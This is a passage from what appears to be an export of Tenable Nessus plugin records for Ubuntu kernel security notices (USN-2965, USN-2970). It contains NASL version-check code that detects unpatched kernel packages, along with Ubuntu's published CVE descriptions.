value:\"p-cpe:/a:canonical:ubuntu_linux:linux-image-4.4-generic\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:linux-image-4.4-generic-lpae\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:linux-image-4.4-lowlatency\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.04\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/04/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/05/06\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/05/12\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"linux_alt_patch_detect.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"ubuntu.inc\");\ninclude(\"ksplice.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Ubuntu/release\");\nif ( isnull(release) ) audit(AUDIT_OS_NOT, \"Ubuntu\");\nrelease = chomp(release);\nif (! preg(pattern:\"^(16\\.04)$\", string:release)) audit(AUDIT_OS_NOT, \"Ubuntu 16.04\", \"Ubuntu \" + release);\nif ( ! get_kb_item(\"Host/Debian/dpkg-l\") ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Ubuntu\", cpu);\n\nif (get_one_kb_item(\"Host/ksplice/kernel-cves\"))\n{\n rm_kb_item(name:\"Host/uptrack-uname-r\");\n cve_list = make_list(\"CVE-2016-2184\", \"CVE-2016-2185\", \"CVE-2016-2186\", \"CVE-2016-2188\", \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\", \"CVE-2016-3140\", \"CVE-2016-3156\", \"CVE-2016-3157\", \"CVE-2016-3672\", \"CVE-2016-3689\", \"CVE-2016-3951\", \"CVE-2016-3955\", \"CVE-2016-4557\");\n if (ksplice_cves_check(cve_list))\n {\n audit(AUDIT_PATCH_INSTALLED, \"KSplice hotfix for USN-2965-1\");\n }\n else\n {\n _ubuntu_report = ksplice_reporting_text();\n }\n}\n\nflag = 0;\n\nif (ubuntu_check(osver:\"16.04\", pkgname:\"linux-image-4.4.0-22-generic\", pkgver:\"4.4.0-22.39\")) flag++;\nif (ubuntu_check(osver:\"16.04\", pkgname:\"linux-image-4.4.0-22-generic-lpae\", pkgver:\"4.4.0-22.39\")) flag++;\nif (ubuntu_check(osver:\"16.04\", pkgname:\"linux-image-4.4.0-22-lowlatency\", pkgver:\"4.4.0-22.39\")) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"linux-image-4.4-generic / linux-image-4.4-generic-lpae / etc\");\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-11-03T12:31:04", "bulletinFamily": "scanner", "description": "Jann Horn discovered that the extended Berkeley Packet Filter (eBPF)\nimplementation in the Linux kernel did not properly reference count\nfile descriptors, leading to a use-after-free. A local unprivileged\nattacker could use this to gain administrative privileges.\n(CVE-2016-4557)\n\nRalf Spenneberg discovered that the USB sound subsystem in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2184)\n\nRalf Spenneberg discovered that the ATI Wonder Remote II USB driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2185)\n\nRalf Spenneberg discovered that the PowerMate USB driver in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2186)\n\nRalf Spenneberg discovered that the I/O-Warrior USB device driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2188)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the MCT USB RS232 Converter device driver in the Linux kernel did\nnot properly validate USB device descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3136)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Cypress M8 USB device driver in the Linux kernel did not\nproperly validate USB device descriptors. An attacker with physical\naccess could use this to cause a denial of service (system crash).\n(CVE-2016-3137)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the USB abstract device control driver for modems and ISDN\nadapters did not validate endpoint descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3138)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Linux kernel", "modified": "2019-11-02T00:00:00", "id": "UBUNTU_USN-2965-3.NASL", "href": "https://www.tenable.com/plugins/nessus/91084", "published": "2016-05-12T00:00:00", "title": "Ubuntu 16.04 LTS : linux-raspi2 vulnerabilities (USN-2965-3)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-2965-3. The text \n# itself is copyright (C) Canonical, Inc. See \n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered \n# trademark of Canonical, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(91084);\n script_version(\"2.17\");\n script_cvs_date(\"Date: 2019/09/18 12:31:45\");\n\n script_cve_id(\"CVE-2016-2184\", \"CVE-2016-2185\", \"CVE-2016-2186\", \"CVE-2016-2188\", \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\", \"CVE-2016-3140\", \"CVE-2016-3156\", \"CVE-2016-3157\", \"CVE-2016-3672\", \"CVE-2016-3689\", \"CVE-2016-3951\", \"CVE-2016-3955\", \"CVE-2016-4557\");\n script_xref(name:\"USN\", value:\"2965-3\");\n\n script_name(english:\"Ubuntu 16.04 LTS : linux-raspi2 vulnerabilities (USN-2965-3)\");\n script_summary(english:\"Checks dpkg output for updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Ubuntu host is missing a security-related patch.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Jann Horn discovered that the extended Berkeley Packet Filter (eBPF)\nimplementation in the Linux kernel did not properly reference count\nfile descriptors, leading to a use-after-free. A local unprivileged\nattacker could use this to gain administrative privileges.\n(CVE-2016-4557)\n\nRalf Spenneberg discovered that the USB sound subsystem in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2184)\n\nRalf Spenneberg discovered that the ATI Wonder Remote II USB driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2185)\n\nRalf Spenneberg discovered that the PowerMate USB driver in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2186)\n\nRalf Spenneberg discovered that the I/O-Warrior USB device driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2188)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the MCT USB RS232 Converter device driver in the Linux kernel did\nnot properly validate USB device descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3136)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Cypress M8 USB device driver in the Linux kernel did not\nproperly validate USB device descriptors. An attacker with physical\naccess could use this to cause a denial of service (system crash).\n(CVE-2016-3137)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the USB abstract device control driver for modems and ISDN\nadapters did not validate endpoint descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3138)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Linux kernel's USB driver for Digi AccelePort serial\nconverters did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-3140)\n\nIt was discovered that the IPv4 implementation in the Linux kernel did\nnot perform the destruction of inet device objects properly. An\nattacker in a guest OS could use this to cause a denial of service\n(networking outage) in the host OS. (CVE-2016-3156)\n\nAndy Lutomirski discovered that the Linux kernel did not properly\ncontext- switch IOPL on 64-bit PV Xen guests. An attacker in a guest\nOS could use this to cause a denial of service (guest OS crash), gain\nprivileges, or obtain sensitive information. (CVE-2016-3157)\n\nHector Marco and Ismael Ripoll discovered that the Linux kernel would\nimproperly disable Address Space Layout Randomization (ASLR) for x86\nprocesses running in 32 bit mode if stack-consumption resource limits\nwere disabled. A local attacker could use this to make it easier to\nexploit an existing vulnerability in a setuid/setgid program.\n(CVE-2016-3672)\n\nIt was discovered that the Linux kernel's USB driver for IMS Passenger\nControl Unit devices did not properly validate the device's\ninterfaces. An attacker with physical access could use this to cause a\ndenial of service (system crash). (CVE-2016-3689)\n\nAndrey Konovalov discovered that the CDC Network Control Model USB\ndriver in the Linux kernel did not cancel work events queued if a\nlater error occurred, resulting in a use-after-free. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3951)\n\nIt was discovered that an out-of-bounds write could occur when\nhandling incoming packets in the USB/IP implementation in the Linux\nkernel. A remote attacker could use this to cause a denial of service\n(system crash) or possibly execute arbitrary code. (CVE-2016-3955).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://usn.ubuntu.com/2965-3/\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected linux-image-4.4-raspi2 package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'Linux BPF doubleput UAF Privilege Escalation');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:linux-image-4.4-raspi2\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:16.04\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/04/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/05/06\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/05/12\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"linux_alt_patch_detect.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"ubuntu.inc\");\ninclude(\"ksplice.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Ubuntu/release\");\nif ( isnull(release) ) audit(AUDIT_OS_NOT, \"Ubuntu\");\nrelease = chomp(release);\nif (! preg(pattern:\"^(16\\.04)$\", string:release)) audit(AUDIT_OS_NOT, \"Ubuntu 16.04\", \"Ubuntu \" + release);\nif ( ! get_kb_item(\"Host/Debian/dpkg-l\") ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Ubuntu\", cpu);\n\nif (get_one_kb_item(\"Host/ksplice/kernel-cves\"))\n{\n rm_kb_item(name:\"Host/uptrack-uname-r\");\n cve_list = make_list(\"CVE-2016-2184\", \"CVE-2016-2185\", \"CVE-2016-2186\", \"CVE-2016-2188\", \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\", \"CVE-2016-3140\", \"CVE-2016-3156\", \"CVE-2016-3157\", \"CVE-2016-3672\", \"CVE-2016-3689\", \"CVE-2016-3951\", \"CVE-2016-3955\", \"CVE-2016-4557\");\n if (ksplice_cves_check(cve_list))\n {\n audit(AUDIT_PATCH_INSTALLED, \"KSplice hotfix for USN-2965-3\");\n }\n else\n {\n _ubuntu_report = ksplice_reporting_text();\n }\n}\n\nflag = 0;\n\nif (ubuntu_check(osver:\"16.04\", pkgname:\"linux-image-4.4.0-1010-raspi2\", pkgver:\"4.4.0-1010.12\")) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"linux-image-4.4-raspi2\");\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-11-03T12:31:04", "bulletinFamily": "scanner", "description": "Ralf Spenneberg discovered that the Aiptek Tablet USB device driver in\nthe Linux kernel did not properly sanity check the endpoints reported\nby the device. An attacker with physical access could cause a denial\nof service (system crash). (CVE-2015-7515)\n\nBen Hawkes discovered that the Linux kernel", "modified": "2019-11-02T00:00:00", "id": "UBUNTU_USN-2970-1.NASL", "href": "https://www.tenable.com/plugins/nessus/91091", "published": "2016-05-12T00:00:00", "title": "Ubuntu 14.04 LTS : linux-lts-vivid vulnerabilities (USN-2970-1)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-2970-1. The text \n# itself is copyright (C) Canonical, Inc. See \n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered \n# trademark of Canonical, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(91091);\n script_version(\"2.13\");\n script_cvs_date(\"Date: 2019/09/18 12:31:45\");\n\n script_cve_id(\"CVE-2015-7515\", \"CVE-2015-8830\", \"CVE-2016-0821\", \"CVE-2016-2184\", \"CVE-2016-2185\", \"CVE-2016-2186\", \"CVE-2016-2188\", \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\", \"CVE-2016-3140\", \"CVE-2016-3156\", \"CVE-2016-3157\", \"CVE-2016-3689\");\n script_xref(name:\"USN\", value:\"2970-1\");\n\n script_name(english:\"Ubuntu 14.04 LTS : linux-lts-vivid vulnerabilities (USN-2970-1)\");\n script_summary(english:\"Checks dpkg output for updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Ubuntu host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Ralf Spenneberg discovered that the Aiptek Tablet USB device driver in\nthe Linux kernel did not properly sanity check the endpoints reported\nby the device. An attacker with physical access could cause a denial\nof service (system crash). (CVE-2015-7515)\n\nBen Hawkes discovered that the Linux kernel's AIO interface allowed\nsingle writes greater than 2GB, which could cause an integer overflow\nwhen writing to certain filesystems, socket or device types. A local\nattacker could this to cause a denial of service (system crash) or\npossibly execute arbitrary code. (CVE-2015-8830)\n\nZach Riggle discovered that the Linux kernel's list poison feature did\nnot take into account the mmap_min_addr value. A local attacker could\nuse this to bypass the kernel's poison-pointer protection mechanism\nwhile attempting to exploit an existing kernel vulnerability.\n(CVE-2016-0821)\n\nRalf Spenneberg discovered that the USB sound subsystem in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2184)\n\nRalf Spenneberg discovered that the ATI Wonder Remote II USB driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2185)\n\nRalf Spenneberg discovered that the PowerMate USB driver in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2186)\n\nRalf Spenneberg discovered that the I/O-Warrior USB device driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2188)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the MCT USB RS232 Converter device driver in the Linux kernel did\nnot properly validate USB device descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3136)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Cypress M8 USB device driver in the Linux kernel did not\nproperly validate USB device descriptors. An attacker with physical\naccess could use this to cause a denial of service (system crash).\n(CVE-2016-3137)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the USB abstract device control driver for modems and ISDN\nadapters did not validate endpoint descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3138)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Linux kernel's USB driver for Digi AccelePort serial\nconverters did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-3140)\n\nIt was discovered that the IPv4 implementation in the Linux kernel did\nnot perform the destruction of inet device objects properly. An\nattacker in a guest OS could use this to cause a denial of service\n(networking outage) in the host OS. (CVE-2016-3156)\n\nAndy Lutomirski discovered that the Linux kernel did not properly\ncontext- switch IOPL on 64-bit PV Xen guests. An attacker in a guest\nOS could use this to cause a denial of service (guest OS crash), gain\nprivileges, or obtain sensitive information. (CVE-2016-3157)\n\nIt was discovered that the Linux kernel's USB driver for IMS Passenger\nControl Unit devices did not properly validate the device's\ninterfaces. An attacker with physical access could use this to cause a\ndenial of service (system crash). (CVE-2016-3689).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Ubuntu security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://usn.ubuntu.com/2970-1/\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Update the affected linux-image-3.19-generic,\nlinux-image-3.19-generic-lpae and / or linux-image-3.19-lowlatency\npackages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:linux-image-3.19-generic\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:linux-image-3.19-generic-lpae\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:canonical:ubuntu_linux:linux-image-3.19-lowlatency\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:canonical:ubuntu_linux:14.04\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/03/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/05/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/05/12\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"Ubuntu Security Notice (C) 2016-2019 Canonical, Inc. / NASL script (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Ubuntu Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"linux_alt_patch_detect.nasl\");\n script_require_keys(\"Host/cpu\", \"Host/Ubuntu\", \"Host/Ubuntu/release\", \"Host/Debian/dpkg-l\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"ubuntu.inc\");\ninclude(\"ksplice.inc\");\n\nif ( ! get_kb_item(\"Host/local_checks_enabled\") ) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Ubuntu/release\");\nif ( isnull(release) ) audit(AUDIT_OS_NOT, \"Ubuntu\");\nrelease = chomp(release);\nif (! preg(pattern:\"^(14\\.04)$\", string:release)) audit(AUDIT_OS_NOT, \"Ubuntu 14.04\", \"Ubuntu \" + release);\nif ( ! get_kb_item(\"Host/Debian/dpkg-l\") ) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Ubuntu\", cpu);\n\nif (get_one_kb_item(\"Host/ksplice/kernel-cves\"))\n{\n rm_kb_item(name:\"Host/uptrack-uname-r\");\n cve_list = make_list(\"CVE-2015-7515\", \"CVE-2015-8830\", \"CVE-2016-0821\", \"CVE-2016-2184\", \"CVE-2016-2185\", \"CVE-2016-2186\", \"CVE-2016-2188\", \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\", \"CVE-2016-3140\", \"CVE-2016-3156\", \"CVE-2016-3157\", \"CVE-2016-3689\");\n if (ksplice_cves_check(cve_list))\n {\n audit(AUDIT_PATCH_INSTALLED, \"KSplice hotfix for USN-2970-1\");\n }\n else\n {\n _ubuntu_report = ksplice_reporting_text();\n }\n}\n\nflag = 0;\n\nif (ubuntu_check(osver:\"14.04\", pkgname:\"linux-image-3.19.0-59-generic\", pkgver:\"3.19.0-59.65~14.04.1\")) flag++;\nif (ubuntu_check(osver:\"14.04\", pkgname:\"linux-image-3.19.0-59-generic-lpae\", pkgver:\"3.19.0-59.65~14.04.1\")) flag++;\nif (ubuntu_check(osver:\"14.04\", pkgname:\"linux-image-3.19.0-59-lowlatency\", pkgver:\"3.19.0-59.65~14.04.1\")) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : ubuntu_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = ubuntu_pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"linux-image-3.19-generic / linux-image-3.19-generic-lpae / etc\");\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-11-03T12:31:04", "bulletinFamily": "scanner", "description": "Jann Horn discovered that the extended Berkeley Packet Filter (eBPF)\nimplementation in the Linux kernel did not properly reference count\nfile descriptors, leading to a use-after-free. A local unprivileged\nattacker could use this to gain administrative privileges.\n\nRalf Spenneberg discovered that the USB sound subsystem in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2184)\n\nRalf Spenneberg discovered that the ATI Wonder Remote II USB driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2185)\n\nRalf Spenneberg discovered that the PowerMate USB driver in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2186)\n\nRalf Spenneberg discovered that the I/O-Warrior USB device driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2188)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the MCT USB RS232 Converter device driver in the Linux kernel did\nnot properly validate USB device descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3136)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Cypress M8 USB device driver in the Linux kernel did not\nproperly validate USB device descriptors. An attacker with physical\naccess could use this to cause a denial of service (system crash).\n(CVE-2016-3137)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the USB abstract device control driver for modems and ISDN\nadapters did not validate endpoint descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3138)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Linux kernel", "modified": "2019-11-02T00:00:00", "id": "UBUNTU_USN-2965-4.NASL", "href": "https://www.tenable.com/plugins/nessus/91085", "published": "2016-05-12T00:00:00", "title": "Ubuntu 16.04 LTS : linux-snapdragon vulnerability (USN-2965-4)", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Ubuntu Security Notice USN-2965-4. The text \n# itself is copyright (C) Canonical, Inc. See \n# <http://www.ubuntu.com/usn/>. Ubuntu(R) is a registered \n# trademark of Canonical, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(91085);\n script_version(\"2.16\");\n script_cvs_date(\"Date: 2019/09/18 12:31:45\");\n\n script_cve_id(\"CVE-2016-2184\", \"CVE-2016-2185\", \"CVE-2016-2186\", \"CVE-2016-2188\", \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\", \"CVE-2016-3140\", \"CVE-2016-3156\", \"CVE-2016-3157\", \"CVE-2016-3672\", \"CVE-2016-3689\", \"CVE-2016-3951\", \"CVE-2016-3955\", \"CVE-2016-4557\");\n script_xref(name:\"USN\", value:\"2965-4\");\n\n script_name(english:\"Ubuntu 16.04 LTS : linux-snapdragon vulnerability (USN-2965-4)\");\n script_summary(english:\"Checks dpkg output for updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Ubuntu host is missing a security-related patch.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Jann Horn discovered that the extended Berkeley Packet Filter (eBPF)\nimplementation in the Linux kernel did not properly reference count\nfile descriptors, leading to a use-after-free. A local unprivileged\nattacker could use this to gain administrative privileges.\n\nRalf Spenneberg discovered that the USB sound subsystem in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2184)\n\nRalf Spenneberg discovered that the ATI Wonder Remote II USB driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2185)\n\nRalf Spenneberg discovered that the PowerMate USB driver in the Linux\nkernel did not properly validate USB device descriptors. An attacker\nwith physical access could use this to cause a denial of service\n(system crash). (CVE-2016-2186)\n\nRalf Spenneberg discovered that the I/O-Warrior USB device driver in\nthe Linux kernel did not properly validate USB device descriptors. An\nattacker with physical access could use this to cause a denial of\nservice (system crash). (CVE-2016-2188)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the MCT USB RS232 Converter device driver in the Linux kernel did\nnot properly validate USB device descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). (CVE-2016-3136)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the Cypress M8 USB device driver in the Linux kernel did not\nproperly validate USB device descriptors. An attacker with physical\naccess could use this to cause a denial of service (system crash).\n(CVE-2016-3137)\n\nSergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered\nthat the USB abstract device control driver for modems and ISDN\nadapters did not validate endpoint descriptors. An attacker with\nphysical access could use this to cause a denial of service (system\ncrash). 